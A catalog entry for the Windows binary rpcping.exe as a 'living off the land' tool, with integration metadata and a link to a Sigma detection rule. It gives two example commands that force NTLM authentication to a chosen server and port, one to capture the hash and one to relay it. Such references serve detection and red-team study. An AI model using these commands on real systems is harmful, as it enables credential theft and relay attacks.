windows enabled community critical v1.0.0

rpcping

Used to verify rpc connection Located at: C:\Windows\System32\rpcping.exe; C:\Windows\SysWOW64\rpcping.exe.

📋 Live Preview 
rpcping
rpcping

Sandbox: execFile · Timeout: 30s

Capabilities

credential.dump

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. (Capture credentials on a non-standard port)

rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM

Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set). (Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port)

rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_rpcping_credential_capture.yml

Documentation

rpcping

rpcping is a Windows LOLBin. Used to verify rpc connection Located at: C:\Windows\System32\rpcping.exe; C:\Windows\SysWOW64\rpcping.exe.

References